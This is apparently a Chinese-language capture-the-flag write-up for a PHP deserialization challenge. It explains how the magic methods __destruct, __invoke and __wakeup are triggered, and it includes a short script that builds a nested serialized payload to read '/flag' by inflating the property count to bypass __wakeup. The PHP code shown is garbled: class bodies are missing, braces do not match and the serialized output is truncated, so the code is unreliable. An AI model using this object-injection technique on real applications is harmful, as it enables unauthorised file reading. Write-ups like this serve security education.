就如這道題在最開始面板上說的一樣,你真的了解反序列化了嗎?這道題就是在看你是不是真的了解了魔術方法怎麼觸發,起到什麼作用?
<?php
show_source(__file__);
class cdutsec1
function __wakeup() // hint:聽說你們喜歡繞__wakeup,但是我可聽說官方在php7.0.10之後修復了這個bug
function __invoke()
function __tostring()
function __get($function)
function __call($a, $b)
}class cdutsec2
}@unserialize($_get['payload']);
所以__tosring無法觸發。審計發現,cdutsec2中的析構函式__destruct執行時正好把類成員function當作函式來呼叫,正好可以觸發__invoke。所以我們可以把cdutsec1序列化後作為cdutsec2中$function的值再次序列化即可。
但cdutsec1中在觸發__invoke之前因為反序列化__weakup先觸發並把我們傳入的$file覆蓋,因此我們需要繞過__weakup。利用的漏洞也很簡單,只需要把序列化字串表示類成員數量的數字改大(大於實際數)即可繞過。本例中,改cdutsec2與巢狀的cdutsec1都可以。
<?php
class cdutsec1
// function __wakeup() // hint:聽說你們喜歡繞__wakeup,但是我可聽說官方在php7.0.10之後修復了這個bug //實際上版本並沒有大於。
//
// function __invoke()
//
// function __tostring()
//
// function __get($function)
//
// function __call($a, $b)
}class cdutsec2
}$tr = new cdutsec1();
$tr->file = '/flag';
$sr = new cdutsec2();
$sr->function = $tr;
echo serialize($sr);
說一句,序列化指令碼中類只需要定義成員,其他魔術方法直接注掉就完了,沒影響,不注掉有時候還會警告和報錯
跑出來是o:8:"cdutsec2":1:},然後改大類成員數。總結就是,你要從這道簡單的反序列化題中真正了解魔術方法的觸發方式,不同的觸發順序,當你真正了解之後,就發現這道題是多麼基礎。